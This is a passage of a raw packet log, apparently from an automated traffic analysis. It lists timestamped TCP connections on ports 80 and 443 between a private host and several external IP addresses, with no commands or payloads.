Dec 20, 2024 21:13:41.646085024 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646092892 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646136045 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646145105 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646174908 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646266937 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646275997 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646400928 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646409988 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646418095 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646425962 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646435022 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646526098 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646536112 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646543980 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646552086 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646662951 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.646672010 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.653116941 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.660438061 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.780169010 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.780184031 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.780303955 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.780319929 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.780378103 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.780390024 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.780497074 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.780513048 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.780703068 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.780764103 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.780894041 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.780983925 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781169891 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781271935 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781280994 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781284094 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781366110 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781374931 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781461000 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781471014 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781510115 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781658888 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781723976 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781764030 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781831026 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781847000 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781941891 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.781990051 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.782088995 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.782104015 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.782175064 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.782183886 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.782305956 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.782357931 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:42.449238062 CET	80	49937	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:42.449429989 CET	49937	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:42.451503038 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:42.451793909 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:42.571249962 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:42.571348906 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:42.571415901 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:42.571469069 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:42.571522951 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:42.692012072 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:43.711412907 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:43.711607933 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:43.711664915 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:43.711847067 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:43.831300974 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:43.919152021 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:43.919236898 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:43.919249058 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:43.919338942 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:43.919524908 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:43.919534922 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:43.919545889 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:43.919552088 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:43.919569969 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:43.919604063 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:43.919994116 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:43.920011997 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:43.920022011 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:43.920038939 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:43.920054913 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:43.948370934 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:44.039017916 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:44.039093971 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:44.039155960 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:44.043184042 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:44.043236017 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:44.067877054 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:44.067962885 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:44.068387985 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:44.111275911 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:44.111309052 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:44.111344099 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:44.111394882 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:44.115355968 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:44.115456104 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:44.115525961 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:44.115525961 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:44.123753071 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:44.123827934 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:44.123908043 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:44.132179022 CET	80	49939	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:44.132574081 CET	49939	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:44.188055038 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.621953964 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.621973038 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.621983051 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.622159958 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.622370005 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.622389078 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.622400999 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.622415066 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.622425079 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.622437000 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.622560978 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.622560978 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.622806072 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.622870922 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.677002907 CET	49950	443	192.168.2.6	104.21.91.209
Dec 20, 2024 21:13:45.677051067 CET	443	49950	104.21.91.209	192.168.2.6
Dec 20, 2024 21:13:45.677125931 CET	49950	443	192.168.2.6	104.21.91.209
Dec 20, 2024 21:13:45.685151100 CET	49950	443	192.168.2.6	104.21.91.209
Dec 20, 2024 21:13:45.685168982 CET	443	49950	104.21.91.209	192.168.2.6
Dec 20, 2024 21:13:45.742146969 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.742163897 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.742248058 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.746239901 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.801306009 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.814014912 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.814054012 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.814168930 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.818270922 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.818281889 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.818332911 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.826646090 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.826751947 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.826992035 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.835130930 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.835143089 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.835345030 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.843527079 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.843539000 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.843594074 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.851918936 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.851932049 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.851989985 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.860183001 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.860351086 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.860402107 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.868697882 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.868710995 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.868777037 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.877129078 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.877250910 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.877402067 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.885345936 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.885391951 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.885461092 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.893659115 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.921134949 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.921222925 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.921222925 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.934113026 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.934153080 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:45.934170008 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:45.988801003 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.006212950 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.006243944 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.006448030 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.007734060 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.007812023 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.007894993 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.012367964 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.012650013 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.012721062 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.017098904 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.017203093 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.017419100 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.021862984 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.021925926 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.022033930 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.026679993 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.026926994 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.026998997 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.031383991 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.031486034 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.031574965 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.036412954 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.036427021 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.036506891 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.040927887 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.041105986 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.041402102 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.045847893 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.045918941 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.045969963 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.050580025 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.050599098 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.050657988 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.055289030 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.055499077 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.055656910 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.060580969 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.060740948 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.060822010 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.064851046 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.064922094 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.065006018 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.068672895 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.068820000 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.068877935 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.072659969 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.072674990 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.072751045 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.076329947 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.076467037 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.076548100 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.080226898 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.080440044 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.080493927 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.083914995 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.084079027 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.084131002 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.087774992 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.088058949 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.088109016 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.091598034 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.108972073 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.109050035 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.109076023 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.110754967 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.110810995 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.110853910 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.115012884 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.115360975 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.133809090 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.134042025 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.134105921 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.135716915 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.176203966 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.198515892 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.198740959 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.198905945 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.199554920 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.200150967 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.200216055 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.200248003 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.201730013 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.201790094 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.201894045 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.204644918 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.204709053 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.204750061 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.207596064 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.207609892 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.207664013 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.210264921 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.210336924 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.210407019 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.212918997 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.212980032 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.213063955 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.215630054 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.215688944 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.215706110 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.218316078 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.218378067 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.218473911 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.220942974 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.220993996 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.221056938 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.223560095 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.223618031 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.223649025 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.226140022 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.226202965 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.226212978 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.228746891 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.228806019 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.228843927 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.231394053 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.231452942 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.231579065 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.234016895 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.234069109 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.234312057 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.236712933 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.236759901 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.237047911 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.239319086 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.239367008 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.239444017 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.241998911 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.242048979 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.242089987 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.244469881 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.244577885 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.244596958 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.247168064 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.247245073 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.247325897 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.249732971 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.249789953 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.249814987 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.252422094 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.252470970 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.252506018 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.255044937 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.255103111 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.255141973 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.257713079 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.257775068 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.257808924 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.260291100 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.260350943 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.260390997 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.262442112 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.262461901 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.262496948 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.264329910 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.264384031 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.264420986 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.266407967 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.266463041 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.266571999 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.268559933 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.268620014 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.268677950 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.270409107 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.270466089 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.270481110 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.272525072 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.272571087 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.272578955 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.274452925 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.274514914 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.274585962 CET	80	49944	185.121.15.192	192.168.2.6
